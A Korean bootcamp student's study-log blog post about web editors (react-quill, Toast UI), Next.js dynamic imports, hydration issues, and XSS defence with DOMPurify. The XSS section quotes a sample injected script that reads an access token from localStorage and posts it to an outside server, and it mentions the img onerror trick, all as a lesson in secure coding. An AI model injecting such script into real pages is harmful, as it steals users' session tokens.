220615 프론트엔드 부트캠프 36일차 : 웹 에디터(wysiwyg), XSS, OWASP, Hydration

오늘은 좀 신기한 걸 배웠다!
데려와서 넣기만 하면 갑자기 에디터가 생기는 라이브러리랑 해킹 공격? 해보기!
자리 바꾸니까 신기하게 하나도 안 졸려...뭘까 대체

  웹 에디터

wysiwyg
(위지위그, what you see is what you get)

유명한 것 세 개
1. react-draft-wysiwyg
2. https://www.npmjs.com/package/react-quill
3. toast-ui-editors - 노션처럼 꾸밀 수 있음, 국내에서 만든 괜찮은 라이브러리!

수업에서는 리액트 퀼을 사용한다.

리액트 퀼의 onChange는 HTML의 onChange가 아니다.
그래서 event.target.value로 받지 않고, 그냥 함수 인자로 value를 받으면 된다.

ReferenceError: document is not defined
document. localStorage 브라우저에 있는 애들
서버에서 렌더링할 때, 브라우저에서 렌더링 할 때 두 개를 나눠줘야 한다.

이를 위해서 dynamic import를 쓴다!
또 어떤 라이브러리를 뭔가 클릭했을 때, 실행했을 때 사용한다면 그 이전에 미리 import하는 것은 성능을 저하시킨다. 그래서 원하는 때에 동적으로 수입하기 위해 dynamic import를 쓴다.

밑의 토스트랑 씨름한 내용을 먼저 쓰고 이걸 쓰고 있는건데, 여기서 ssr이 나오네...!
ssr은 server side rendering을 뜻한다. (csr : client side rendering)

import dynamic from "next/dynamic";

const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });

onClick 함수 안에 dynamic import 넣어서 쓰기도 한다.(조건 발동시 import)
코드 스플리팅이라고 한다.

{...register} onChange함수 같은 기능을 갖고 있어서 우리는 state이름만 써주면 된다.

리액트 퀼에선 온체인지가 안 먹히니까 강제로 셋 밸류 해줬는데 리액트 훅 폼에선 값이 바꼈는지 뭘로 바뀌게 된건지 알 수가 없어. (온 체인지? 온 클릭? 자동으로 바뀐건지?) 그래서 컨텐츠에 한해서는 온체인지가 적용이 안된다.
그래서 훅폼한테 이건 온체인지로 값이 바뀐거야! 라고 알려줘야해

setValue("contents", value);
trigger("contents");

setValue("contents", value === "<p><br></p>" ? "" : value);

근데 이걸 detail 페이지에서 데이터로 뽑아오면 ! 태그로 인식해야하는 걸 문자열로 인식해서 원하는 결과가 나오지 않는다.

태그 이름의 느낌이 안 좋 아 ~

누군가 악의적으로 “<script>localStorage.getItem(’accessToken’); axios.post(’http://mybackend….’)</script>”하면 자바스크립트가 실행되겠죠 꺄악~

  XSS(Cross Site Script)

쿠키와 로컬스토리지엔 중요한 정보를 담으면 안된다. 쿠키에 담으려거든 httpOnly 옵션을 주거나...

img는 뒤늦게 들어가는 속성이 있다.
해커들이 img src에 이상한 주소를 넣는다. onerror = ‘ ‘
에러가 났을 때 이거 실행시켜줘 하고 보내는 것

실제로 이미지일수도 있기 때문에 차단하기도 좀 그래서...! 이런 걸 막아주는 게 필요하다.

DOMPurify - 보호해주는 라이브러리
이것도 dom을 건드리는 애라서 프리렌더링이 안된다.

OWASP 10

시큐어 코딩!

injection(여기 노트 필기 나중에 첨부)

  후... Dompurify로 막아놨는데 hydration문제요???

분명 난 내용 부분을 파란색으로 지정했는데, 왜 갈색으로 나오는거야????

hydration시 발생하는 CSS 문제
typeof window가 언디파인드 아니면 보여줘!
서버에서 프리렌더링 될 때는 렌더링 되지 않았어!


0. 브라우저에 접속

1. 프론트엔드에서 프리렌더링(HTML 태그 위주로 그려요, 위치를 그린다)내용 빠진 상태로 red, green, brown 기억해서 브라우저에 준다.
2. 여기서 내용은 프리렌더링에서 안 그리도록 빼놔서 프론트엔드에선 몰라.
3. 브라우저에서 받으면 윈도우 있는 상태, 껍데기만 받은 것에 내용 채운다.결국 red,green,brown,brown이 된 것 !!
4. 그대로 red,green,brown 넣어주는 것 아래쪽엔 없던게 생기니까 마지막꺼 한 번 더 해줌.. 뭔가 귀엽다

→ 렌더링에 상관없이 태그 갯수를 맞춰줘야한다.

삼항연산자로 스타일 블루인 빈 태그를 하나 넣어준다

---

npm install --save @toast-ui/editor

yarn add ~ 로 하면 안되길래... 왜지 ㅎㅎ 이런 기초적인 거에서 막히다니,,
그냥 npm으로 설치함

import Editor from '@toast-ui/editor';
import '@toast-ui/editor/dist/toastui-editor.css';

사용할 컴포넌트에서 import하고

  const editor = new Editor({
    el: document.querySelector("#editor"),
    height: "500px",
    initialEditType: "markdown",
    previewStyle: "vertical",
  });

  editor.getMarkdown();

자바스크립트 부분에 적어준다.

<div id="editor"></div>

return 부분에 id="editor"를 주면 뿅 생김

와우 대박신기 옆에 승님이 알려주심

디폴트 옵션

• height: Height in string or auto ex) 300px | auto
• initialEditType: Initial type to show markdown | wysiwyg
• initialValue: Initial value. Set Markdown string
• previewStyle: Preview style of Markdown mode tab | vertical
• usageStatistics: Let us know the hostname. We want to learn from you how you are using the Editor. You are free to disable it. true | false

글자색 변경 기능이 없어서 찾았는데... 독스에서는 못 찾아서 검색으로 찾았다.

npm install @toast-ui/editor-plugin-color-syntax

설치하고

import 'tui-color-picker/dist/tui-color-picker.css';
import '@toast-ui/editor-plugin-color-syntax/dist/toastui-editor-plugin-color-syntax.css';
import colorSyntax from '@toast-ui/editor-plugin-color-syntax';

import한다.

생각보다 덩치가 크고 쓸 일이 좀 있을 것 같아서 따로 빼놔야겠다!

근데 갑자기 이런 오류가 떴다...
Next.js에서 쓰면 이런 오류가 난다고 한다. Next.js에선 ssr을 쓰고 toast에선 ssr을 지원하지 않는다고 한다....(뭔진 모름ㅎ)
어쨌든 이것도 브라우저에만 있는 걸 서버에서 렌더링해서 나타나는 오류라고 합니다.

// 잘못된 코드 
import dynamic from "next/dynamic";


const TextEditor = dynamic(() => import("../../texteditor/TextEditor"), {
    ssr: false,
  });

dynamic import 하면 이 기능이 작동할 때만 가져와서 성능에도 좋고 오류도 안 난다!

근데 이번엔 다른 오류... 대체 무슨 일이,,,,, 이번엔 document 관련된 프리렌더링 문젠가??? 근데 함수 안에 썼는데 왜지ㅠㅠ
와 프리렌더링에 대해서 배우고나서 이렇게 그 관련 문제가 빵빵빵 터지다니... 복습 시켜주네 진짜루~~~
라고 생각했는데 그냥 dynamic import를 잘못한거였다.

나는 texteditor 컴포넌트를 따로 뺐는데, 거기서 들여올때 dynamic import를 해야하는건데 ㅠㅠ texteditor 컴포넌트를 수입하는 프레젠터에서 에디터 컴포넌트를 다이나믹 수입(ㅎ?)해서 문제가 생겼던 것이어꼬~~~~~~~

하 근데 또 문제 생김

그래서 type of window 어쩌구 ... return 해봤다가
안되고 안되고 다이나믹 임포트도 이상한 거 뜨고~
정말 여기선 ... 어떻게 해야할지 몰라서 아까처럼 돌아가자.,...하고 presenter에 그냥 그대로 가져왔는데,
왜 너가 여기서 뜨는데..ㅠ.. 다이나믹 임포트 쓰면 또 아까처럼 그럴거아냐??? ...

맞음 또 뜸
컨트롤 z 로 처음으로 되돌렸는데도 떠.....
그냥 글자 색깔 넣고 싶었을 뿐인데... 왜 이런 오류가 뜨는거지 ...ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ

yarn add @toast-ui/editor

패키지제이슨에서 삭제하고 노드모듈스 아예 날리고 얀 설치 후에 얀으로 다시 깔았다...
안됨!


그리고 아까 위에 쓴 dynamic import법이 맞았다. 컴포넌트 따로 뺐으면 거기선 그냥 수입하고 컴포넌트를 다이나믹 수입하는 게 맞다. 아까 그렇게 했다가 안돼서 다르게 했던거지만 혹시 몰라서 다시 수입해봤다...

뜬다..^^ ㅎㅎㅎㅎ ㅎㅎ

돌고돌았지만 왔으니까 좋아
소즁하다정말 ㅠㅠ
ssr은 서버렌더링이라는데, 프리렌더링 문제가 맞고!!!
설마 css를 내가 가져왔었나? 그거때문에 문제인가...?싶기도하고 모르겠다 소중하게 쓸게요.

https://github.com/nhn/tui.editor/tree/master/plugins/color-syntax

GitHub - nhn/tui.editor: 🍞📝 Markdown WYSIWYG Editor. GFM Standard + Chart & UML Extensible.

yarn add @toast-ui/editor-plugin-color-syntax

이번엔 공식독스보고 yarn add로.....,, 하면 내 성의를 봐서라도 작동해주지 않을까

된다...드디어... ㅠㅠ.........집에 가서 할래...
이제 진짜로 학원이 시끌시끌 해졌다. ~

집 가서 일단 글로벌 폰트부터 바꿔야겠다 너무 질렸어

쓰다보니 또 30분 넘게 지났다... 아직 세준멘토님이 풀어주신 알고리즘 문제 정리도 못 했는데,,, 진짜 천재같이 푸셨는데...!!!!!

그리고 또 다시 돌아온 알고리즘 테스트~ 정말 3주차쯤부턴 그냥 시간이 훅훅 간다. 이번 시험은 저번 시험보다 쉬웠던 것 같다... 어쨰서지. 그래도 푸는데 45분 걸렸다. 근데 너무 어렵게 생각한 것도 있는 것 같고... 그래도 다 풀었음에 감사하다. 알고리즘은 진짜 느는진 모르겠는데 어느샌가 늘어있는 그런 거 같다.

아 오늘 점심 윤쉪~ 수요일은 잔반없는 날 맛있는거 나온다궁^^ 볶음밥이랑 짜장면 나와서 맛있었다. 후후 오늘 밥 먹으면서 음료수 먹고 싶었는데 물 먹는 습관 들이려고 물 떠와서 먹고 밥 먹고 물 또 먹었다! 사실 물을 또 먹으려던 건 아닌데, 친절하신 동기분들이 컵을 항상 여러개 꺼내주셔서ㅋㅋㅋ먹게된다>_< 아주 좋다!

항상 이 시간쯤이면 약간 졸려와서 오늘 왜 더 열심히 못 했지 란 후회가 밀려온다. 해야할 게 너무 많은데, 내가 어떤 문제를 맞게 될지 모르니까 시간 예상이 저언혀 안된다. 그래도 오늘 UI 쪼금 시작했다. react-awesome-reveal 이란 새로운 라이브러리도 적용시켜봤다! 하 라이브러리들이 이것처럼 적용하기 쉬우면 얼마나 좋을까..ㅋ ㅋ ㅋ ㅋ !~~~ ㅎㅎ 아무튼 폰트도 바꾸고 아예 새로운 디자인으로 가려는 거라 이 부분은 좀 기분이 좋다. 내가 잠이 적으면 좋을텐데, ... 그게 아니니까 하루하루 아껴야지. 버스 기다릴 때, 버스 탔을 때도 하고 있다. 다만 집에 와서 바로 씻지 않고 설렁설렁 알고리즘 풀거나 블로그 글 쓰기 조금 하는데, 약간 시간을 ...100% 쓰지 못하는 느낌? 집 오자마자기도 하고 맥북만 켜서 하다보면 투모니터로 하는 것보다 좀 떨어지는 것 같다. 내일은 집 오자마자 씻어야겠다 ! 오늘 공부시간은 11시간 24분